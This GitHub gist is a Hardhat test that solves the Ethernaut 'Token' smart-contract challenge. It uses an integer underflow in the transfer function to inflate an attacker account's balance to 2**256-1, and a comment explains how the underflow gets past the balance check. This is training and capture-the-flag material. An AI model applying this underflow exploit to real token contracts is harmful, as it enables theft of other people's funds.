Skip to content

Instantly share code, notes, and snippets.

@luisnaranjo733
Created January 28, 2022 20:18
Show Gist options
  • Save luisnaranjo733/47ece710a4bce27d9be5ffe11ff015ed to your computer and use it in GitHub Desktop.
Save luisnaranjo733/47ece710a4bce27d9be5ffe11ff015ed to your computer and use it in GitHub Desktop.
Ethernauts Token challenge solution
/* eslint-disable prettier/prettier */
import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";
describe("Token", function () {
it("Underflow attack to drain token balance", async function () {
const INITIAL_SUPPLY = 10000;
const ATTACKER_INITIAL_BALANCE = 20;
const [owner, attacker] = await ethers.getSigners();
const TokenFactory = await ethers.getContractFactory("Token");
const token = await TokenFactory.deploy(INITIAL_SUPPLY);
await token.deployed();
await token.transfer(attacker.address, 20);
expect(await token.connect(owner.address).balanceOf(owner.address)).to.equal(INITIAL_SUPPLY - ATTACKER_INITIAL_BALANCE);
expect(await token.connect(attacker.address).balanceOf(attacker.address)).to.equal(ATTACKER_INITIAL_BALANCE);
/**
* Cause underflow by 1 for balances[msg.sender] - _value
* Allows us to get past the require(), and transfer 2**256-1 from msg.sender ==> _to (even if msg.sender doesn't have that much)
*/
await token.connect(attacker)
.transfer(owner.address, ATTACKER_INITIAL_BALANCE + 1);
const attackerBalance = await token.balanceOf(attacker.address);
expect(attackerBalance).to.equal(BigNumber.from('2').pow(256).sub(1));
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment